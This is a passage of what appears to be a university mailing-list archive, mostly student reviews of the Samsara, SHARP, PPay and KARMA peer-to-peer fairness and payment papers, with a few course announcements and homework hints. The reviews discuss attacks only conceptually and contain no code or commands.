manufactured by inserting incompressible blocks of data, storage claims, into the network; by checking if the storage claim is still resident on the remote computer, then their data must still be retained on the local one. Also, storage claims may be treated as user objects and stored in the system if desired -- but if they cannot be produced, the node they were assigned to is the penalized node. Though I am impressed by their construction of claims, I am not sufficiently impressed: it relies on two secrets, rather than one large one; this seems inefficient. Moreover, it presumably relies on a separate P for each claim, which may or may not make blocks compressible if false; it seems that a better idea would be to take deterministic hashes (say, ""this holds place for the 3rd block belonging to B"") and to use a very large, secure, signing key; even with the encrypted data public, and the data, this only makes certain known-plaintext attacks easier, and does not significantly weaken the scheme, while reducing overhead required to test claims. Similarly, they make small news of occaisional data loss, claiming that it can be backed up from local copies: because all data in the system is incompressible, this means that overhead on the network is multiplied by the inverse of failure, even for legitimate users; moreover, the more one stores for others, the less room one has for storage claims, which must be forwarded into the network -- putting one at the mercy of lazy users (who we have a claim on, as well). Thus there is this odd period wherin we wait for chains to become cycles during which we are vulnerable to the behavior of other nodes. _SHARP:_An_Architecture_For_Secure_Resource_Peering_ Yun Fu, Jeffrey Chase, Brent Chun, Stephen Schwab, Amin Vahdat Tackling something of a superset of the previous problem, dealing with total resource management, rather than simply storage space. It assumes responsibility for resouces management, control and sharing across sites & trust domains, reconciling policy-based resource management with resource availability when agents or other actors fail, become unreachable, or abandon their claims. It uses soft-state timed claims, which expire after some period, and agents may oversubscribe resources to improve efficiency and availability, being given probabilistic assurance that their claims will be honored. Oversubscribed claims may be detected, and claims may be delegated accountably. These claims are both unforgable and non-repudiable, with keys being locally assigned. It allows actors to reserve resources, prevent theft of resources, support admission control, and balance global sharing with local autonomy, and must be secure, in that the actors may be mutually distrusting or vulnerable to external attack. This is partially done by issuing the ability to issue requests -- a soft state claim to request resources, but not an actual lock on those resources. This allows farming out of ticket issuance, which is an advantage, and a host of other advantages such as the probabilistic options offered. There are few obvious flaws in this scheme, other than the overhead that vending tickets requires; in general, it passes every threat they suggest, and the list is reasonabily comprehensive. _PPAY:_Micropayments_for_Peer-to-Peer_Systems_ Beverly Yang, Hector Garcia-Molina Whether or not the peer to peer network is economically driven for fungible resources, there remains the need to provide an efficient, secure payment mechanism, even if only for unique resources. PPay explots the unique characteristics of peer to peer systems to maximize efficiency while maintaining security properties. It does this without the need for a trusted, centralized (monetary) broker to donate O(n) work for n transactions over the network. The broker is only invoked at the opening and closing of accounts, arbitration, and occaisionally to perform services for offline peers; under realistic application loads, it provides quite reasonable broker load values, while guaranteeing detectable and traceable fraud, though in a sense, relative to the value of the goods: they are micropayments, thus requiring light overhead, without guaranteeing fair exchange of goods and payment; conterfeit coins are detectable, but perhaps only after the fact. It purchases much of its efficiency by ""moving the issuer into the cloud"", having transactions involving a coin purhcased by U going through U; this does not go against the financial institution who issued U the coin in exchange for currency. The ties back to real-world currency seem to mostly be symmetric; while required, this leaves a large security hole where the user with more resources (read: cash) can starve (literally, not ""resources"") another by misbehaving in conjunction with them. It is unprofitable, but completely legal, and cheaper than many other such eye-for-an-eye attacks, as the coins are micropayments, thus small. They claim to be immune to wrongful denial attacks; this isn't quite true. A reassignment may be wrongfully denied, in that the owner refuses to transfer holders; however, it may still be ""cashed in"", making the system mostly immune (not completely) to this attack. In many ways, this shifts load from the broker onto the brokee -- if I request a coin, I am thereafter responsible for all transactions involving that coin, until it ""dies"". This gives me a very large motivation to cash in my coins as soon as possible, so that I can cease holding their state. Coin renewal solves both this issue and also the related issue of what to do ""if the token drops"", if the location of a coin is unknown. Since all requests for transferal must go through the owner of the coin or the broker, this is less of an issue, but it is not a non-issue, as it could be the case that the coin is involved in some secondary scheme or mismanaged to the point where its holder is unclear. It is legitimate to say that this is the owner's fault- and- responsibility; it would still be nice to have some way to repair this. The other issue is that the coins do not carry a representation of their value, implying that we must go to the broker to determine the value of the coin, or use equally valued coins -- if we're willing to believe the holder's estimation, why not rely on them for everything, without recourse to a broker; if all coins are the same value, there is an element of lost functionality. This is easy to fix: let the issuer include the value, in addition to the serial number, in each raw coin. _KARMA:_A_Secure_Economic_Framework_for_Peer_to_Peer_Resource_Sharing_ Vivek Vishnumurthy, Sangeeth Chandrakumar, Emin Gun Sirer Karma is another solution to the same problem, where we seek to ensure equitable resource sharing among nodes in the system. It spreads the reswponsibility for ""coins"" across several banksets, which may be distributed through the overlay. Each node has its account tracked at each member of the bank set, and thus ""cheating the system"" relies on controlling the bank set. It may be increased by donating resources to the system, and therefore can be used in place of the micropayment system above. It is less ""secure"" than the previous, however, because it does not ultimately rely on a resource signed with the key of the issuing authority; in the previous scheme, the bank could always ensure that the account number they were handed was issued by a real entity; under this system, my node is a member of the entity responsible for tracking the balance in my account, which can lead to a sort of conflict of interest. It is, however, not intended for real cash, but as a way of tracking resource usage, and for that it is quite adequate, as in order to break the system, one must bring more resources to bear than participating in the system would require.",0,0 """H. Conrad Cunningham"" ","faculty@cs.olemiss.edu, grad@vogon.cs.olemiss.edu, undergrad@vogon.cs.olemiss.edu, announce@vogon.cs.olemiss.edu, jxue@ee.ucla.edu, liuyi_j@yahoo.com","Mon, 27 Feb 2006 20:53:40 -0600","Computer Science Seminar by Dr. Michael Scherger, Monday 6 March, 10:00 a.m.","SEMINAR -- Department of Computer and Information Science Interfacing Massively Parallel Associative Computers for Database Applications Michael Scherger, Ph.D. Department of Computer Science Kent State University Monday, 6 March, 10:00 a.m. 235 Weir Hall Associative processing is the use and extension of associative memories into a more general computational environment, in which special purpose hardware is used to search and process large memories and databases. As an application of data parallel and associative computing, this presentation will discuss the design and development of a parallel database server for a prototype SIMD parallel processor. The database server stores all data in the parallel memory space of the computer (parallel memory-resident database). The SIMD parallel processor has the capability to dynamically address the parallel memory space using parallel pointers; however the number of processing elements is fixed during program execution. A coalescing parallel memory manger was designed and developed to create “table folds” (a form of virtual parallel processing) when the number of data elements exceeded a multiple of the number processing elements. Using a database server toolkit, the parallel memory API was interfaced with an SQL engine to create a parallel database server that is capable of performing parallel searches, updates, insertions, and deletions. The toolkit also provided a mechanism to create a custom ODBC compliant database client-server driver for Microsoft Windows and UNIX platforms to interface with existing applications. The design of a second parallel memory manager will also be introduced using multiple instruction streams access to the parallel memory space and allowing several database transactions to occur in parallel. Michael Scherger received a B.S. in Electronic Technology in 1991 and a B.S. degree in Computer Science in 1992 from the University of Akron. He received a M.S. in Computer Science in 1995 and a Ph.D. in Computer Science in 2005 from Kent State University. His dissertation is titled “An Object Model Framework, Runtime Environment Support, and Database System Software for a Multiple Instruction Stream Associative Model of Computation”. His research interests are in parallel, distributed, high performance, and associative computing systems, parallel runtime environment systems, massively parallel and associative database systems, artificial intelligence, software engineering, image processing and computer vision, and computational chemistry. Presently he is an instructor of Computer Science at Kent State University. Scherger is a candidate for a faculty position in the CIS Department. ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 00:29:03 -0500",PAPER 10,"Recent studies show that participants in peer-to-peer systems behave selfish – they consume more resources than what they contribute. A distributed resource management is thus needed to coordinate shared resources. The four papers present different approaches to solve these problems of resource exchange in distributed manner. * Smasara is an infrastructure for enforcing fairness in peer-to-peer storage systems. It manufactures symmetric storage relationships by constructing 'claims': each contributing node creates a claim that the corresponding consuming node has to store, and they check each other to ensure that data are correctly stored. * Nodes unresponsive to messages are punished (replicas being discarded) with a probability in proportion to the number of consecutively failed query. This makes dishonest and chronically unavailable nodes unable to maintain data while nodes suffering a transient failure only have to restore several replicas from surviving copies in the system. * Samsara nodes may forward claims to reduce storage overhead, but they are responsible for these claims: they will be penalized if the node storing their claims cheats. This is a dilemma more than a tradeoff. * Behaviors of malicious nodes, such as promise to store data but immediately drop it, can't be prevented in Samsara. Besides, Samsara can't stop nodes from refusing to store data other than for the claims. Many data may never be stored in that case. * SHARP is an architecture for secure distributed resource management across sites and trusted domains. Its key construct is a resource 'claim' – a promise or right to possess resources for designated time interval. It allows principals to formulate and exchange unforgeable assertions about control over resources. * Resources at each site are controlled by a ""site authority"". They delegate control over their resources to ""agents"". Programs run within a slice – a partition or share of global resources. The ""service managers"" contact agents to obtain resources on behalf of the guests, bind the resources to slices, and instantiate the service with the slice. * The resources are obtained during a two-phase process. First, the service manager requests a 'ticket', which represents a soft claim, from an agent. Second, the service manager redeems the ticket with the site authority to for a 'lease', which is a hard claim over concrete resources. A ticket only suggests resource ownership whereas a lease guarantees it. The distinction between them allows coordinated resource management while preserving site autonomy and local control over resources. * With the self-certifying and self-describing property of tickets and secure mechanisms to subdivide and delegate claims, sites may trade their resources with peering partners according to local policies (resource peering). Moreover, agents may over-subscribe resources to improve resource efficiency and availability when claims are lost or left idle. * Even if SHARP eliminates a centralized trusted authority in its framework, the principals that exchange resource claims need to authenticate one another off-line to establish faith in one another’s public keys. * Freeloader-like behaviors are possible in SHARP, since the resource exchanges between sites can be asymmetric. * PPay is a micro-payment system which exploits characteristics in peer-to-peer systems to improve performance while maintaining security properties. The concept of floating, self-managed currency, a transferable 'coin', is proposed in PPay protocol to reduce involvement of the centralized broker. Its security properties are basically ensured by the serial number and public key cryptography among the broker and the users. * As claimed in the paper, micro-payments are payments of small amount, so its mechanism should be lightweight, whose costs don't outweigh value of the payment. Therefore only security where fraud is detectable, traceable and unprofitable is guaranteed in this system. * Several extensions, along with their security considerations, to the basic protocol that improve system performance are described, such as 'limit certificate' from the broker which specifies the number of coins a user is authorized to print, 'layered coins' that can be reassigned among the users, 'coin renewal' to decrease the state users have to keep, and the use of 'soft credit windows' to make pico-payments faster. * The experimental results show that PPay outperforms existing micro-payment schemes in terms of broker load. They also illustrate the settings of parameter values to tune PPay performance. * Even though rarely, the centralized broker is still required in PPay, for users to open and close accounts, for arbitration, and for performing service on behalf of offline peers. * KARMA is a secure economic framework to avoid freeloaders in peer-to-peer systems. Its main component is ""karma"", a scalar value which captures the amount of resources a peer has contributed and consumed. Each peer has a bank-set that keeps track of its karma balance. * The KARMA file exchange works as follows: consumer A sends to provider B a signed message authorizing bank-set-A to transfer a certain amount of karma to B. B forwards it to bank-set-B, in which each node talks to nodes of bank-set-A to check if A has sufficient karma for that transaction. If yes, the amount is deducted from A's account and credited to B's account. B then has to proceed with the file-transfer to A. * Security issues are addressed. (1) Replay attacks are ruled out in KARMA by the use of sequence number and signatures. (2) An atomic transaction scheme is deployed: the provider sends the consumer the file encrypted with a secret key; the consumer gets the key to decrypt the file if and only if simultaneously the provider gets a certificate of receipt. Malicious provider (accepts payment but fails to complete the transaction) and malicious consumer (receives a resource but claims they didn't) behaviors thus can't happen. * KARMA obviates expensive consensus/agreement protocols in its transfer protocol by (1) secure routing that ensures reliable message delivery and (2) transmission between a k-to-k mapping (majority voting) of the consumer's and provider's bank-set. * To offset inflation and deflation, the outstanding karma is periodically re-valued according to the number of nodes in the system and a correction factor. In addition, the probability of bank-set corruption is very low due to the secure entry algorithm. It would be better if experimental results could be provided in this paper to support the design and development of KARMA.",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 01:54:50 -0500",PAPER 10,"SAMSARA A challenge of p2p network design is to ensure that users in the system contribute to its welfare appropriately based on the benefit they receive; freeriding is curbed. Experience in the Gnutella & Napster networks has shown users will often freeride given the opportunity. The basic principle behind Samsara is the use of incompressible storage claims, essentially manufactured bits of data for use in an ""I'll store your data if you'll store mine"" scheme. Enhancements of the scheme allow forwarding of claims to balance storage requirements across the network. However, a node remains responsible for claims it forwards, so forwarding is used as a last resort. The authors implement the system on top of a Pastry network for testing purposes. Claims are generated using the sha1 hash of a passphrase known only by the host node concatenated with an on disc location. Nodes periodically query nodes for whom they are storing data for claims, if a response is invalid, that node is free to drop the stored data. A probabilistic punishment scheme is used to forgive nodes for their transient failures. A 5000 node network is simulated, showing good performance from the system. However, there are some limitations. The first is that without claim forwarding, the global storage requirement for the system is doubled. Also, the scheme is only really appropriate for a distributed file storage/replication scheme; pushing data. An adaptation for pull scenarios may be possible, but is not immediately evident. SHARP: SHARP functions as a looser form of Samsara. It is also based on the use of resource claims, however resources are extended beyond pure storage capacity and are transient. Also, claims are broken up into two parts, an advertise-able soft claim which can be redeemed for hard lease on resources in the form of a virtual machine. Asymmetric cryptography is used to ensure that claims are not forged, allowing nodes to punish one another for failing to honor claims. Also, claims are arbitrated by local authorities over nodes who function as local certificate authorities, who detect conflicting claims for resources in their local network and inform nodes redeeming claims. The system is tested on top of PlanetLab. They find that oversubscription (generating too many claims per available resources) improves network resiliency against node failure by allowing nodes to advertise their resources more aggressively. Unfortunately, they do not discuss the implementation of a reputation scheme to punish nodes overselling their resources, and seem to use local authorities as trusted brokers of claims between nodes. ",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 01:58:06 -0500",PAPER 10,"Niranjan Sivakumar Samsara is designed to enforce fairness in p2p systems without resorting to a centralized system or relying on third parties, thereby maintaining the decentralized nature of the network. The system is based on creating “claims.” A “claim” is created when a node in the network requests resources. The “claim” is basically setting aside the same amount of data that has been consumed. Nodes check each other to verify that the claims for the data that they are holding are being maintained. Nodes can also forward claims to “downstream” nodes; that is, nodes that are holding claims on behalf of the node that is now being asked to hold a claim. However, the node that forwards the claim maintains responsibility for the forwarded claim. The system is designed to deal with transient failures through gradated grace periods. This system makes it difficult for “bad” nodes to take advantage of the grace period an! d exploit the system. Sharp is another system with a claim based system for fairness. Sharp includes some cryptographic features to protect integrity of claims through public-key encryption. Resources at a given portion of the system are controlled by a site authority. For obtaining a claim, a soft lease, called a ticket, is first obtained from an agent. This does not guarantee resources. Then, the ticket is presented to a site authority to get a hard lease, called a claim, and then will have a certain amount of resources guaranteed for a certain term. Sharp agents can issues more tickets than they can support a probabilistic claim system. The site authority is used to prevent conditions where multiple tickets could result in two nodes fighting over one claim. PPay is a system for making small, secure payments in a p2p system. The system is based off cryptographic virtual “coins” that are somewhat analogous to real world coins. The authors indicate that since this system is designed for small payments, very strong security is not necessary. Thus, rather than actually preventing coin fraud, the system simply works to make coin fraud unprofitable and traceable. The system is largely decentralized, but a broker is involved when creating or closing accounts. Karma is a system designed to incentivize resource sharing through a virtual “currency”, Karma. Groups of nodes known as bank-sets keep track of how much karma users have. Users “pay” karma to consume resources and receive karma for contributing resources. Thus more resources can only be used as more resources are provided to the system. Karma is designed to provide non-repudiation, certification, and atomicity. Public key cryptography is used for transactions in the system, but a scheme has been presented where a public-key infrastructure is not required to have valid key pairs. A number of possible attacks and defenses against them are described in the paper, including sybil attacks, denial of service attacks, and replay attacks. One issue with Samsara seems to be that while the probabilistic punishment system may be sufficient for some applications, there may certainly be applications where the owner of a node may be upset for being punished by losing some portion of their data during an honest failure. Another issues seems to be with responsibility remaining in nodes that forwards claims. This seems to create an issue where misbehaving nodes can cause those forwarding claims to be punished. The oversubscription system in Sharp seems to be quite complex, particularly adjusting oversubscription degree to maintain a target efficiency level, as is indicated in the paper, but clearly implemented. The security features of the PPay appear to limit it to small payments and do not scale well to larger payments as the incentives against coin fraud seem to be in part be based on the small value of the payments. Also, the involvement of a broker does take a system away from being totally decentralized and! p2p. Karma is theoretically interesting, but the feasibility of an implementation is not clear from the paper. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Tue, 28 Feb 2006 02:07:05 -0500",paper 10,"Both SHARP and PPay utilize similar technologies to establish a accountable P2P resource trading/payment system. In both, layered cryptographic signatures are used to pass tickets/coins around. The layered signatures make it possible to trace the path of any rejected claims or other attacks to identify the malicious or faulty party. Thus, even though it is possible for users to try to abuse the system, the non-repudiation of the payment stubs makes the culprits identifiable in trivial time. A problem with this is that there is no guarantee that the system cannot be abused; merely that the culprits can be identified. However, what does that really mean? You can identify a node or user as malicious and kick them out, but what is to prevent them from re-entering the network under a different alias? PPay suggests requiring an up-front deposit, which works for micropayments that are not very valuable individually. However, neither paper really investigates the security versus performance trade-off of increased auditing to catch malicious nodes earlier. Karma differs sharply from both SHARP and PPay, which require super peers or centralized brokers to distribute tickets for certain organizations in an unspecified network overlay. Karma is designed as a layer on top a ring-based P2P network overlay, and instead of just relying on accountability based on cryptographic receipts, also tries deter fraud by appointing a BankSet to keep track of the balance of each node in the network. By relying on cryptographic puzzles to make it impractically expensive for a malicious user to try to set their own place on the ring, Karma makes it probabilistically unlikely for attackers to be able to control entire segments of the ring, unless a significant fraction of the network is invaded - in which case the network is doomed no matter what. The paper does not deal with durations of cryptographic certificates to refute false claims, but it should be relatively straightforward to extend it to include a signed timestamp. Samsara is a P2P data storage network and not a payment mechanism unlike the other papers. When a node stores data on another node, the node storing gets a claim that it can use for the other node to store data. If a node has insufficient space to store data, it can push a claim to another node that it has a claim for; however, the original is still responsible for the data. Periodically, nodes will check to make sure that the claims are being kept - ie. that the nodes they pushed data on to are still storing the data. If a node A finds out that a node B doesn't have the data anymore, A will probabalistically drop the data B is storing on A. The more consecutive checks B fails, the more data it loses. ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 02:22:17 -0500",PAPER 10," Samsara: Samsara is a system for fair disk space exchange. The basic idea is that machine A is willing to store files for machine B, provided that machine B stores a ""claim"" on behalf of A. This claim can later be transferred, so that B is storing files on behalf of A, in effect. If users are unavailable, their stored data is removed, on a probabilistic basis designed to differentiate short outages from permanent cheating. The system is aimed to stop greedy users, not malicious ones. This is not necessarily a weakness, depending on the target user base. These scheme, to the extent that it works, works only for storage (permanent or RAM). It has a number of shortcomings. Much of the time, one might be willing to store on behalf of others more data than one wishes to store--some users are generous, particularly if the protocol is being used on a corporate or academic intranet. Samsara does encourage such flexible policies. Sharp: Unlike Samsara, Sharp attempts to solve the general resource-exchange problem, by building very basic primitives for resource exchange. The fundamental abstraction in Sharp is the ticket, a non-binding, time-limited, agreement to supply some resource. Tickets are transferrable and divisable, and are cryptographically signed in such a way that the chain of transmission can be audited. Since tickets are non-binding, the ticket issuer can oversubscribe --and then act sensibly if presented with too many tickets. Sharp is an extremely flexible mechanism, that puts few limitations in the way of agents seeking to implement policy. The authors cite oversubscription and transferable tickets as major contributions; this seems a perilous mix. If tickets are passed through k holders, and each holder oversubscribes by a factor of r, then the total OD ratio will be r^k, which can be significantly greater than r even though no particular principal is responsible for this state of affairs; it may be wiser to bar all agents except the original ticket issuer from oversubscription. PPay: Ppay offers a micropayment scheme, suitable for purchasing resources from peer to peer networks. The system divides the world into [trusted] brokers and users, and allows users to transfer coins in a traceable way. PPay in fact offers a number of protocols, for user-user transfers, user-broker transfers, and user-user, mediated by broker. The key motivation is to push work from the broker to the owner of a coin. The PPay model has a number of tunable parameters, in particular, the fees charged by brokers for minting and reassigning coins. The marginal value of money is very different for different individuals; it seems possible that there's no set of fees that is sufficient both to allow a large user base and to ensure that nobody is prepared to run an attack. For instance, I may be willing to spend a significant amount of money to impoverish someone else. The authors simulate their system to measure load on brokers. It seems likely that this could be modelled analytically, giving precise closed-form solutions for broker load in terms of user preference distributions. Though the authors do not mention it, a protocol seems necessary to allow two users to find out if they both trust the same broker, in order to exchange coins that will be accepted. (Imagine user A trying to pay B with a coin issued by the People's Bank of Cuba). It's not clear that the authors are solving the right problem: centralized systems, such as PayPal, seem well adapted to this environment. A last pedantic point: coins are ""minted"", not ""printed"". ;) Karma: Karma is a quite general distributed resource exchange system. It only requires a secure P2P substrate, and some resource that can be represented as a byte string, and then offers secure transfers and secure balances. Using secure routing in the overlay, the Karma system is able to replicate node balances in the overlay, and then to only transfer resources when the balance is sufficient. This cleverly exploits existing work in secure routing and simultaneous-exchange: the new insight seems to be that these can be combined, with replicated nodes keeping balances. The scheme is very simple, and secure against balances being altered maliciously as well as non-payment. Karma has a few important vulnerabilities. First, since sybil attacks are possible, an attacker can dishonestly acquire significant Karma. Note that an attacker does not need a majority in any bank-set, but merely a steady drip of sybils to feed him Karma. Karma does not provide any guidance for pricing resources; such prices would presumably be determined by the amount of Karma in circulation--the average disposable income of a node. This means that a powerful attacker or group of attackers could hoard Karma to depress prices (could get a corner on Karma). The Karma is still in the system, so the inflation system will not devalue it, but the Karma won't be in circulation either. (Amusingly enough, Jay Gould tried to do this with gold in 1869.) Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Ross Lippert ,,"Tue, 28 Feb 2006 07:53:34 -0500",Re: ps2,"Plotting and looking is just fine. -r On Tuesday, 28 February 2006 at 0:45:34 -0500, Tongyan Lin wrote: > How well are we supposed to justify our answer for #2 (that it's the closest > zero to .2)? For example, do I have to find all the zeroes and show I found > the closest or can I just plot the function, look around .2, pick a bracket, > and find the zero? > -- Ross A. Lippert M.I.T., Department of Mathematics Building 2, Room 335 Voice (617) 253-7905 77 Massachusetts Avenue FAX (617) 253-4358 Cambridge, MA 02139-4307 e-mail: lippert@math.mit.edu One student has asked about ways to approach problem 3. Here is a suggestion to those of you who are stuck. Take a function of your own chosing and make a correct table of values. Then twiddle a couple digits of that table. Now you have an example of the problem where you actually know where the mistake is. Do some experiments to see what sorts of evidence there is of the corruption. Working with a similar problem with a known answer can help inspire you. A student was asking questions about problem 4. I want to emphasize that what you get out at the end will not look like Muller's method. It helps to turn the x-y axes sideways and think about what the function g(y) is and how it is relevant to where the 0 of f(x) is. For the error bounds on problem 1, don't go to extreme effort to compute an exact expression for either the derivative of f term of the product of (x-x_i) term. Just pick reasonable upper bounds on both. I added a bit more to the walkthrough for problem 4, after helping a student in office hours today. I received an email asking if it was ok to raid the programs/ directory for raw materials for your solutions. As long as you all understand that what's in that directory comes with no implied or expressed warrantees (i.e. if there's a bug in there, its your bug) then that's fine with me. If you aren't very confident with either matlab or the material, this can be a good way to tinker around with both. Be aware though, that you should be able do such computations yourself, at least by hand, since the exam (a week from wednesday) will be closed book and closed computer. I'll post something this week about the nature of the exam. ",0,0 Ivan Stoyanov ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 09:41:56 -0500",PAPER 10,"These papers make attempts to introduce fairness and accountability in p2p networks. They challenge the assumption that all peers willingly contribute a decent share of resourses to the global pool. Fairness is achieved by using cryptographic receipts/signatures about resources/services consumed. Karma Instead of explaining how it works, I will try to challenge the assumptions it makes about the economics of such a system. The implicit assumption made is that for a typical object in the system, there exist an equilibrium of supply/demand that is for a non-zero price (i.e. different from ""free""). However, when two suppliers offer completely identical products/services, the differentiation that the customer makes is solely on price. Therefore, the ""market"" price of the object will converge towards the marginal cost of producing it, which in the case of digital goods, such as multimedia files, is zero. Supplier can try to offer slightly different ""services"" by charging more because of their higher bandwidth, but as we noticed in the previous papers, file sharing is a batch-mode system. Once an object is introduced in the system, its price will reach zero or close to zero very quickly. The smallness of the price will depend probably on the size of the object, so the system will converge in a ""per megabyte"" contribution scheme. If peers really wants to make Karma, they need to insert new objects, ideally popular ones. The price of a high-demand object will initially be very high, probably more than most peers can afford. Once a number of peers download it, the price will quickly spiral to zero. That is fine for most users, again, judging from the ""batch-mode"" usage pattern. This ""market"" will be segmented into a very small number of peers who introduce the new and popular objects and have very high Karma, and the rest who have little or no Karma and practically run on the same old ""free"" p2p network. Sharp and PPay The two systems are quite similar. They use crypto signatures to create and verify ""tickets"" or ""coins"". The signature scheme allows for non-repudiation to be introduced, that is, a consumer may deny the consumption of a resource and is not liable for purchases that cannot be proven. The archiecture uses a scheme of layered signatures so that faulty peers can be identified along the path. Unlike Karma, Sharp and PPay require super peers to do the job of centralized brokers. One problems with such approach is that a user may join under a different identity every time they want to download a certain file, similar to downloading the trial version of a product every time it expires. Since there can be guards against that, a user may alternatively simulate a number of identities and exchange dummy files between the controlled peers so that the Karma is accumulated in a single node. This Sybil attack can be made more successful if (ironically) the abusing peer pays Karma to correct peers to solve the crypto puzzles given upon system entry. ",0,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Tue, 28 Feb 2006 11:00:04 -0600",Today's tutorial session,"Hi, We shall go through the solutions of Mid term for the initial part of the session. I am also planning to discuss the various data hazards that we saw in the lecture today. Madhavi ",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 11:09:45 -0500",PAPER 9,"Samsara, PPay, SHARP and KARMA each support p2p resource exchange. Symmetric storage exchange allows one node may store data at a second if and only if it stores an equal amount for the second. Samsarsa supports this through claims which are uncompressible sequences of data created and validated by a storage node and stored by a storing node. Periodically a storage node B storing data for node A can validate that A still stores a claim for B. This claim may later be replaced by actual data from B as long as B still stores data for A. Samsara extends this notion to dependency chains where three or more nodes store data in a chain (A stores data on B who stores data on C), where there is only one claim (storage overhead) per chain at the root of the chain (so A stores a C's claim for B). If a claim fails a validation query, the node performing the query probabalistically ejects a storage block from the node failing the query. A might fail a validation query on B's claim, B might respond by ejecting A's storage block. While a simple system, there are several weaknesses. First if chains are avoided then the storage overhead for the system equals the amount of data stored in the system. Second, dependency chains are only as strong as the weakest link and a malicious or failed node in a dependency chain can trigger a cascading failure along the chain (in one direction). While the paper points out that dependency cycles are much more resilient to failures, in fact cycles are only resilient to one failure, after which they become a dependency chain. ""PPay..."" presents a coin exchange system where a set of trusted brokers issue coins to nodes. These coins can then be securely transferred from the owning node to another and delegated from node to node by layering secure delegations on the original coin (or previous delegation layers). These coins can later be cashed in at the brokers. This system is aimed at micropayments where the risk of each transaction is very small, so detection of illegal transactions can be deferred for some reasonable period (so load at the centralized brokers can be performed offline). Additionally a scheme using PPay coins to support pico payments (even smaller, less risky transactions) is presented which assumes that a node can extend a fixed amount of credit (divided amongst other nodes in transactions with the first). In this scheme transactions need not be collected on (by using PPay coins) until the fixed amount of credit is exceeded. The centralized nature of the brokers and implicit trust that all nodes must simultaneously share in the brokers goes against the spirit of completely decentralized systems. The picopayment scheme presented is well decoupled from the PPay system and might be adapted to use other payment schemes. ""SHARP..."" presents a system of resource claim advertising where nodes issue tickets which are (probabalistic) claims on resources at the node. Other nodes form a network and listen to each other's advertisements forwarding requests for these claims. These claims are validated by site domain authorities, which are named in the tickets, are trusted by nodes issuing tickets with that site domain. Resource managers cash in tickets across domains by contacting the site authority which in turn issues a concrete claim on the resources listed in the claim (or rejects the ticket if it conflicts with a previously cashed ticket). Tickets can be subdivided arbitrarily so one agent might obtain a ticket for a large block of resources advertised by another node. This large block might then be divided amongst many nodes on whose behalf the original agent acts. To maximize resource utilization, resources can be overbooked (much like airline flights) to handle tickets which are never claimed (due to holder failure, etc.). A study on PlanetLab is presented which uses SHARP to securely allocate PlanetLab computing resources amongst the PlanetLab constituents (including future resource reservations etc.). SHARP has many roles to be played by different agents and includes some semi-centralization within domains. Each domain must have a single site authority who is authorized to validate all tickets for this domain including keeping state on currently validated tickets and potentially future resource reservations. This model might be appropriate for some problems exhibiting nodes to which other nodes are willing to delegate this responsibility. And while we've seen that many p2p systems exhibit nodes with greatly different performance characteristics, it's not clear that such trust clusters exist generally. ""Karma..."" presents a system for completely distributed credit. A transaction between two nodes A and B involves A and B two additional sets of nodes acting as the bank sets for A and B. The bank set of a node A is responsible for keeping (by majority rule to support failures and disagreements, legitimate and malicious) the ""karma"" balance of A. When A requests resources from B costing some amount of karma (set by B), the bank sets for A and B transfer that amount of karma from A's account to B's account. The transaction involves seven steps starting with a request from A to B leading to communication between all memebers of A's bank set to B's bank set and to and from A and B and ending with the transfer of resources and a validatable receipt. This protocol ensures that B receives both the karma it is due and A receives it's resources and a receipt that ensures that B received payment. Several potential attacks are examined and ruled out by the protocol. No evaluation is presented and a mechanism to offset inflation (in a distributed manner) is presented, but poorly motivated. It's not clear what problems inflation will cause and it's not clear that additional complexity added by this anti-inflation protocol is worth the cost that inflation presents. Additionally, nodes are granted a certain amount of karma upon entering the system (in exchange for solving a puzzle, verified by the new node's bank set). It's not clear that this is the best choice and a zero balance initialization might be more natural (of course a method for introducing currency into the market would be needed in this case). No analysis of this initialization problem is presented. ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 11:13:20 -0500",PAPER 10,"Samsara: This paper discuss enforcement of fairness in peer-to-peer systems to ensure that certain nodes do not share storage space in proportion to their consumption. The authors claim that since the befits of using the system accrues individually but the costs are shared certain users would have little incentive to share and contribute beyond the minimum required. Also on a secondary note many users would under report their available resources to avoid providing them to others. This would destroy the fairness balance in the system. One approach would be to use a centralized administration but that would defeat the purpose and advantages of a peer to peer system and hence instead of looking into a centralized system that would result in centralized administrative overheads the concept of claims and claim forwarding is explored where each node has to provide compensatory storage allocation space for as much storage it is consuming in the network or its neighbor nodes. Samsara is based on a symmetric distribution of storage space between two neighbouring nodes where each of the two pairs stores each others data and if one of the nodes stops storing then the other node also relinquishes the storage facility. As the authors asserts, this system has two main disadvantages, in that they assume that the nodes are reliable and the that the nodes are not subject to transient failures. A transient failure in any node would virtually wipe out the data that is being stored. This issue is corrected by using a probabilistic model for removing data from the nodes for nodes that fail at any time thus ensuring that the data is still present on some node by the time that the node comes back up. The system would punish thus nodes that are off line a lot more and these are assumed to be the cheating nodes. This model also by claim forwarding can form chains that are cyclic and thus eliminating the need for storing the claims at any node. However in the case of such cyclic chain formations the authors claim that the system can tolerate single failures though it is not that evident since if it tolerates single failures in this instance then a cheating node could take advantage of this. Addition of Nodes : When nodes are added to the network then Samara requires that each node should allocate and initialize storage space on the node by logically filling it with storage claims that can be used by another node to fill it with its data and when data is written then claims can be issued for data that is written with a claim generated being a SHA1 hash of the index of the storage location and a secret pass phrase and a symmetric key. This system of storage guarantees that no tampering of the stored data has taken place by taking a hash of the first set of data object and then using that to take the has of the second and so on till all the n objects have been hashed. This is a great method of preventing data being tampered and at the same time ensuring that bandwidth is not wasted in each query. Node failures: Samara with a probabilistic model ensures that even if there is grace period attack on the system the long term impact are nullified since in the long term such nodes would lose data. Sharp: SHARP or (Secure Highly Available Resource Peering) discusses the certified resources management in a peer to peer network for claims by using tickets and leases that allow coordinated resource management while allowing local control of resources. Although most of the focusing this paper is directed at Planet Lab this paper 